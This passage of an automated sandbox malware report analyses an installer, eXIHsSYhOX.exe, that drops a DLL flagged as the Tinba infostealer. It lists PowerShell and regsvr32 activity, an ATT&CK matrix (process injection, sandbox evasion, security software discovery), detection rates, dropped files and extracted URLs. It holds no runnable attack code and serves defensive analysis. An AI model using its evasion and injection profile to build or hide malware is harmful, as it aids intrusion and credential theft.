Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_6C8F26D0 ExitProcess,ProcessPrng,GetCurrentProcessId,ProcessPrng,ProcessPrng,CreateNamedPipeW,GetLastError,CloseHandle,CloseHandle,ReadFileEx,SleepEx,GetLastError,

7_2_6C8F26D0

Source: C:\Windows\SysWOW64\regsvr32.exe

7_2_6C874C20

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_6C86F450 memset,RtlGetVersion,

7_2_6C86F450

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	15 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	212 Process Injection	3 Obfuscated Files or Information	Security Account Manager	1 Network Share Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	121 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	212 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Regsvr32	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
eXIHsSYhOX.exe	53%	Virustotal		Browse
eXIHsSYhOX.exe	45%	ReversingLabs	Win32.Trojan.CrypterX

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\is-14VP5.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-14VP5.tmp\_isetup\_setup64.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\is-FHHU1.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-FHHU1.tmp\_isetup\_setup64.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	1%	Virustotal		Browse
C:\Users\user\AppData\Local\is-L5KBT.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\unins000.exe (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\BurlySparrow.dll (copy)	65%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Roaming\is-SF7GG.tmp	65%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Antivirus Detection	Reputation
18.31.95.13.in-addr.arpa	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	eXIHsSYhOX.exe	false	high
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.1818056644.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1862302004.00000000050BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	false	high
http://go.micro	regsvr32.exe, 00000007.00000003.1775901750.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889000583.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1759503664.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1756577607.0000000004189000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1774948229.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917563598.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1888311741.0000000004190000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758105092.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1750414268.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1772234354.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1751777281.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758205297.000000000418C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1774741083.0000000004190000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1749875575.0000000004191000.00000004.00000020.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.1809903757.0000000004ED5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1852228572.0000000004184000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore6lB	powershell.exe, 00000008.00000002.1809903757.0000000004D81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1852228572.0000000004051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1982918321.00000000051D1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.microsoft	powershell.exe, 0000000A.00000002.1868255401.0000000006C70000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1978277897.0000000003387000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.remobjects.com/ps	eXIHsSYhOX.exe, 00000000.00000003.1660219416.00000000034D0000.00000004.00001000.00020000.00000000.sdmp, eXIHsSYhOX.exe, 00000000.00000003.1660568722.000000007F0BB000.00000004.00001000.00020000.00000000.sdmp, eXIHsSYhOX.tmp, 00000001.00000000.1662025483.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, eXIHsSYhOX.tmp, 00000006.00000000.1692249801.0000000000DDD000.00000020.00000001.01000000.00000006.sdmp, eXIHsSYhOX.tmp.0.dr	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.1809903757.0000000004ED5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1852228572.0000000004184000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.1818056644.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1862302004.00000000050BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.innosetup.com/	eXIHsSYhOX.exe, 00000000.00000003.1660219416.00000000034D0000.00000004.00001000.00020000.00000000.sdmp, eXIHsSYhOX.exe, 00000000.00000003.1660568722.000000007F0BB000.00000004.00001000.00020000.00000000.sdmp, eXIHsSYhOX.tmp, 00000001.00000000.1662025483.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, eXIHsSYhOX.tmp, 00000006.00000000.1692249801.0000000000DDD000.00000020.00000001.01000000.00000006.sdmp, eXIHsSYhOX.tmp.0.dr	false	high
https://contoso.com/License	powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.rs/getrandom#nodejs-es-module-support	regsvr32.exe, regsvr32.exe, 0000000E.00000002.2029086598.000000006C955000.00000002.00000001.01000000.00000007.sdmp	false	high
http://go.microsoft.c	regsvr32.exe, 00000007.00000003.1775901750.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889000583.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1759503664.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1756577607.0000000004189000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1774948229.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917563598.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1888311741.0000000004190000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758105092.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1750414268.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1772234354.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1751777281.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758205297.000000000418C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1774741083.0000000004190000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1749875575.0000000004191000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.1809903757.0000000004D81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1852228572.0000000004051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1982918321.00000000051D1000.00000004.00000800.00020000.00000000.sdmp	false	high
